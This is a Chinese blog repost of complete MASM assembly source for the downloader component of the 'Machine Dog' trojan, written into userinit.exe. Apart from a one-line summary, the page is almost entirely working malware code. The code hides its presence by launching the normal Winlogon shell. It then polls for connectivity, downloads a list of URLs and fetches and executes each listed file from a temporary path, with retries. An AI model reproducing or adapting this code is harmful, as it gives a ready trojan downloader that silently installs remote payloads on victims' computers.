机器狗写入到userinit.exe文件的下载者源码_loadlocalfonts loadremotefonts-优快云博客

本文链接：https://blog.youkuaiyun.com/iiprogram/article/details/2213776

本文展示了一段恶意代码，该代码通过植入userinit.exe文件实现自动运行，并下载执行远程文件。恶意行为包括检查网络连接状态、从指定URL下载文件并执行。

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; 机器狗写入到userinit.exe文件的恶意代码
; by naitm(http://hi.baidu.com/naitm)
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.386
.model flat,stdcall
option casemap:none
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; Include 文件定义
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include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
include Advapi32.inc
includelib Advapi32.lib
include wininet.inc
includelib wininet.lib
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; 数据段
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.data
nThreadCount dd 0
g_ThreadCount dd 0
PathName db '.',0
szAgent db 'Shell',0
szUser32Dll db 'user32.dll',0
szLoadRemoteFonts db 'LoadRemoteFonts',0
szSubKey db 'SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon',0
szUrlList db 'http://127.0.0.1/cert.cer',0
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; 代码段
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.code
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_RunIt proc @lpExePath
local @ProcessInformation:PROCESS_INFORMATION
local @StartupInfo:STARTUPINFO
invoke GetStartupInfo,addr @StartupInfo
invoke CreateProcess,0,@lpExePath,0,0,0,20h,0,0,addr @StartupInfo,addr @ProcessInformation
.if eax == 0
invoke CloseHandle,@ProcessInformation.hThread
invoke CloseHandle,@ProcessInformation.hProcess
.endif
leave
retn 4
_RunIt endp
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_DownloadFile proc @lpURL,@lpSaveFile,@Buffer
local @hInternet,@hInternetFile,@hLocalFile,@nNumberOfBytesToWrite,@NumberOfBytesWritten,@nWriteCount
local @lpbuffer[200h]:BYTE
xor eax, eax
mov @nWriteCount, eax
invoke InternetOpen,addr szAgent,0,0,0,0
.if eax != 0
mov @hInternet, eax
invoke InternetSetOption,@hInternet,2,@Buffer,4
invoke InternetSetOption,@hInternet,6,@Buffer,4
invoke InternetOpenUrl,@hInternet,@lpURL,0,0,200000h,0
.if eax != 0
mov @hInternetFile, eax
mov @nNumberOfBytesToWrite, 0
mov @NumberOfBytesWritten, 200h
invoke HttpQueryInfo,@hInternetFile,13h,addr @lpbuffer,/
addr @NumberOfBytesWritten,addr @nNumberOfBytesToWrite
.if eax != 0
invoke CreateFile,@lpSaveFile,40000000h,0,0,4,0,0
.if eax != 0FFFFFFFFh
mov @hLocalFile, eax
.while TRUE
mov @nNumberOfBytesToWrite, 0
invoke InternetReadFile,@hInternetFile,addr @lpbuffer,200h,addr @nNumberOfBytesToWrite
.break .if (!eax)
.break .if (@nNumberOfBytesToWrite==0)
inc @nWriteCount
invoke WriteFile,@hLocalFile,addr @lpbuffer,@nNumberOfBytesToWrite,/
addr @NumberOfBytesWritten,0
.endw
invoke SetEndOfFile,@hLocalFile
invoke CloseHandle,@hLocalFile
.endif
.endif
invoke InternetCloseHandle,@hInternetFile
.endif
invoke InternetCloseHandle,@hInternet
.endif
mov eax, @nWriteCount
leave
retn 0Ch
_DownloadFile endp
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_DownloadEXERunIt proc @lpURL
local @DownTimes
local @TempFileName[204h]:BYTE
local @TempFileName2[204h]:BYTE
local @szUrl[104h]:BYTE
mov @DownTimes, 3Ch
invoke lstrcpy,addr @szUrl,@lpURL
invoke RtlZeroMemory,addr @TempFileName,204
invoke GetTempFileName,offset PathName,0,0,addr @TempFileName
invoke lstrcpy,addr @TempFileName2,addr @TempFileName
DownloadNxTime:
invoke _DownloadFile,addr @szUrl,addr @TempFileName,1388h
or eax, eax
jz DownloadFailed
invoke lstrcpy,addr @TempFileName,addr @TempFileName2
invoke _RunIt,addr @TempFileName
jmp DownloadEnd
; ---------------------------------------------------------------------------
DownloadFailed:
invoke Sleep,3E8h
dec @DownTimes
jnz DownloadNxTime
DownloadEnd:
dec nThreadCount
leave
retn 4
_DownloadEXERunIt endp
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start:
main proc
local hKey,hObject,hFile,lpBaseAddress,ThreadId
local szShellValue[104h]:BYTE
invoke LoadLibrary,offset szUser32Dll
or eax, eax
jz RegQueryShell
invoke GetProcAddress,eax,offset szLoadRemoteFonts
or eax, eax
jz RegQueryShell
call eax
RegQueryShell:
invoke RegOpenKeyEx,80000002h,offset szSubKey,0,20019h,addr hKey
or eax, eax
jnz TestInternet
mov ThreadId, 104h
invoke RtlZeroMemory,addr szShellValue,104h
invoke RegQueryValueEx,hKey,offset szAgent,0,0,addr szShellValue,addr ThreadId
invoke _RunIt,addr szShellValue
invoke RegCloseKey,hKey
TestInternet:
invoke Sleep,3E8h
invoke InternetGetConnectedState,addr ThreadId,0
or eax, eax
jnz InternetConnect_OK
jmp TestInternet
; ---------------------------------------------------------------------------
InternetConnect_OK:
invoke RtlZeroMemory,addr szShellValue,104h
invoke GetTempFileName,offset PathName,0,0,addr szShellValue
DownList:
invoke Sleep,3E8h
invoke _DownloadFile,offset szUrlList,addr szShellValue,1388h
or eax, eax
jz DownListFailed
mov nThreadCount, 0
invoke CreateFile,addr szShellValue,GENERIC_READ,0,0,3,0,0
cmp eax, INVALID_HANDLE_VALUE
jz ReaptDownList
mov hFile, eax
invoke GetFileSize,hFile,0
cmp eax, 0Fh
jnb BeginDownEXE
invoke CloseHandle,hFile
jmp DownList
; ---------------------------------------------------------------------------
BeginDownEXE:
invoke CreateFileMapping,hFile,0,2,0,0,0
or eax, eax
jz CreateMapFailed
mov hObject, eax
invoke MapViewOfFile,eax,4,0,0,0
or eax, eax
jz MapViewFailed
mov lpBaseAddress, eax
mov esi, eax
loc_4005E1:
lea edi, szShellValue
push 104h
push edi
call RtlZeroMemory
WetherNewLine:
lodsb
cmp al, 0Ah
jnz loc_4005F8
lodsb
loc_4005F8:
cmp al, 0Dh
jz loc_400605
stosb
or al, al
jz UrlListEnd
jmp WetherNewLine
; ---------------------------------------------------------------------------
jmp UrlListEnd
; ---------------------------------------------------------------------------
loc_400605:
cmp szShellValue, 0
jz NextLine
inc nThreadCount
invoke CreateThread,0,0,offset _DownloadEXERunIt,addr szShellValue,0,addr ThreadId
invoke CloseHandle,eax
invoke Sleep,64h
NextLine:
jmp loc_4005E1
; ---------------------------------------------------------------------------
UrlListEnd:
invoke UnmapViewOfFile,lpBaseAddress
MapViewFailed:
invoke CloseHandle,hObject
CreateMapFailed:
invoke CloseHandle,hFile
jmp WetherTreadend
; ---------------------------------------------------------------------------
ReaptDownList:
jmp DownList
; ---------------------------------------------------------------------------
jmp WetherTreadend
; ---------------------------------------------------------------------------
DownListFailed:
jmp DownList
; ---------------------------------------------------------------------------
WetherTreadend:
cmp nThreadCount, 0
jz ExitProgram
invoke Sleep,64h
jmp WetherTreadend
; ---------------------------------------------------------------------------
ExitProgram:
invoke ExitProcess,0
main endp
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end start